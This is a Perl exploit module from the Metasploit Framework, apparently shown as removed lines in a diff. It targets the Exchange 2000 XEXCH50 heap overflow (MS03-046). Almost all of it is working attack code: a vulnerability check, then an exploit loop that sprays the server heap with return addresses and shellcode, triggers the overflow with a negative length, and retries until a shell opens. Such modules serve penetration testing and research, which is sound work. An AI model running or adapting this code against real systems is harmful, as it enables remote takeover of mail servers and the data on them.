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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::exchange2000_xexch50;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
-
- my $advanced = { };
-
- my $info =
- {
- 'Name' => 'Exchange 2000 MS03-46 Heap Overflow',
- 'Version' => '$Revision: 1.35 $',
- 'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
-
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32', 'win2000' ],
- 'Priv' => 1,
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 25],
- 'SSL' => [0, 'BOOL', 'Use SSL'],
- },
-
- 'Payload' => {
- 'Space' => 1024,
- 'BadChars' => "\x00\x0a\x0d\x20:=+\x22",
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This is an exploit for the Exchange 2000 heap overflow. Due
- to the nature of the vulnerability, this exploit is not very
- reliable. This module has been tested against Exchange 2000
- SP0 and SP3 running a Windows 2000 system patched to SP4. It
- normally takes between one and ten tries to successfully
- obtain a shell. This exploit is *very* unreliable, we hope
- to provide a much more solid one in the near future.
- }),
- 'Refs' =>
- [
- ['OSVDB', '2674'],
- ['MSB', 'MS03-046'],
- ['MIL', '20'],
- ],
-
- 'DefaultTarget' => 0,
- 'Targets' => [['Exchange 2000', 0x0c900c90, 3000, 11000, 512]],
-
- 'Keys' => ['exchange2000'],
-
- 'DisclosureDate' => 'Oct 15 2003',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Check {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return $self->CheckCode('Connect');
- }
-
- my $res = $s->Recv(-1, 20);
- if ($res !~ /Microsoft/) {
- $s->Close();
- $self->PrintLine("[*] Target does not appear to be an exchange server");
- return $self->CheckCode('Safe');
- }
-
- $s->Send("EHLO X\r\n");
- $res = $s->Recv(-1, 3);
- if ($res !~ /XEXCH50/) {
- $s->Close();
- $self->PrintLine("[*] Target does not appear to be an exchange server");
- return $self->CheckCode('Safe');
- }
-
- $s->Send("MAIL FROM: metasploit\r\n");
- $res = $s->Recv(-1, 3);
-
- $s->Send("RCPT TO: administrator\r\n");
- $res = $s->Recv(-1, 3);
-
- $s->Send("XEXCH50 2 2\r\n");
- $res = $s->Recv(-1, 3);
- $s->Close();
-
- if ($res !~ /Send binary/) {
- $self->PrintLine("[*] Target has been patched");
- return $self->CheckCode('Safe');
- }
-
- $self->PrintLine("[*] Target appears to be vulnerable");
- return $self->CheckCode('Appears');
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $shellcode =$self->GetVar('EncodedPayload')->Payload;
-
- my $target = $self->Targets->[$target_idx];
- my ($tname, $retaddr) = @{$target};
- my $buff_len = $target->[2];
-
- $self->PrintLine(sprintf("[*] Trying '$tname' using return address 0x%.8x [$buff_len]", $retaddr));
-
- my $counter = 1;
- my @seencount = ();
-
- while (1) {
- if(! $seencount[$counter]) {
- $self->PrintLine("[*] Exploit attempt #$counter");
- $seencount[$counter]++;
- }
-
- $self->Print("[*] Connection 1: ");
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('Error');
- sleep(5);
- next;
- }
-
- my $res = $s->Recv(-1, 3);
- if (! $res) {
- $self->PrintLine("Error");
- next;
- }
-
- if ($res !~ /Microsoft/) {
- $s->Close();
- $self->PrintLine("Error");
- $self->PrintLine("[*] Target does not appear to be running Exchange: $res");
- return;
- }
-
- $self->Print("EHLO ");
- $s->Send("EHLO X\r\n");
- $res = $s->Recv(-1, 3);
- if (! $res) { $self->PrintLine("Error"); next; }
-
- if ($res !~ /XEXCH50/) {
- $self->PrintLine("Error");
- $self->PrintLine("[*] Target is not running Exchange: $res");
- return;
- }
-
- $self->Print("MAIL ");
- $s->Send("MAIL FROM: metasploit\r\n");
- $res = $s->Recv(-1, 3);
- if (! $res) { $self->PrintLine("Error"); next; }
-
- $self->Print("RCPT ");
- $s->Send("RCPT TO: administrator\r\n");
- $res = $s->Recv(-1, 3);
- if (! $res) { $self->PrintLine("Error"); next; }
-
- # verify that the server is not patched
- $s->Send("XEXCH50 2 2\r\n");
- $res = $s->Recv(-1, 3);
- if (! $res) { $self->PrintLine("Error"); next; }
-
- $self->Print("XEXCH50 ");
- if ($res !~ /Send binary/) {
- $s->Close();
- $self->PrintLine("Error");
- $self->PrintLine("[*] Target is not vulnerable");
- return;
- }
-
- $s->Send("XX");
- $res = $s->Recv(-1, 3);
- if (! $res) { $self->PrintLine("Error"); next; }
-
- $self->Print("ALLOC ");
-
- # allocate heap memory
- my $dsize = (1024 * 1024 * 32);
- $s->Send("XEXCH50 $dsize 2\r\n");
- $res = $s->Recv(-1, 3);
- $self->PrintLine("OK");
-
- my $payload = ((
- (pack("V", $retaddr) x (256 * 1024)).
- $shellcode . ("X" x 1024)
- ) x 4
- ). ("BEEF");
-
- $self->Print("[*] Uploading shellcode to remote heap: ");
- $s->Send($payload);
- $self->PrintLine("OK");
-
- $self->Print("[*] Connection 2: ");
- my $x = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($x->IsError) {
- $self->PrintLine('Error');
- next;
- }
-
- $res = $x->Recv(-1, 3);
- if (! $res) {
- $self->PrintLine("Error");
- $self->PrintLine("[*] No response");
- next;
- }
-
- $self->Print("EHLO ");
- $x->Send("EHLO X\r\n");
- $res = $x->Recv(-1, 3);
- if (! $res) { $self->PrintLine("Error"); next; }
-
- if ($res !~ /XEXCH50/) {
- $self->PrintLine("Error");
- $self->PrintLine("[*] Target is not running Exchange: $res");
- return;
- }
-
- $self->Print("MAIL ");
- $x->Send("MAIL FROM: metasploit\r\n");
- $res = $x->Recv(-1, 3);
- if (! $res) { $self->PrintLine("Error"); next; }
-
- $self->Print("RCPT ");
- $x->Send("RCPT TO: administrator\r\n");
- $res = $x->Recv(-1, 3);
- if (! $res) { $self->PrintLine("Error"); next; }
-
- $self->Print("XEXCH50 ");
-
- # allocate a negative value
- $x->Send("XEXCH50 -1 2\r\n");
- $res = $x->Recv(-1, 3);
- if (! $res) {
- $self->PrintLine("Error");
- $self->PrintLine("[*] No response");
- next;
- }
- $self->PrintLine("OK");
-
- $buff_len += $target->[4];
- if ($buff_len > $target->[3]) { $buff_len = $target->[2] }
-
- # send the massive buffer of our return address
- my $heapover = pack("V", $retaddr) x ($buff_len);
-
- $self->PrintLine("[*] Overwriting heap with payload jump ($buff_len)...");
- $x->Send($heapover);
-
- # reconnect until the service stops responding
- my $count = 0;
- $self->Print("[*] Starting reconnect sequences: ");
-
- while ($count < 10) {
- my $tmp = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($tmp->IsError) {
- last;
- }
-
- $tmp->Send("HELO X\r\n");
- $tmp->Close();
- $count++;
- }
- $self->PrintLine(" OK");
- $self->PrintLine("");
- $counter++;
- }
- return;
- }
-
-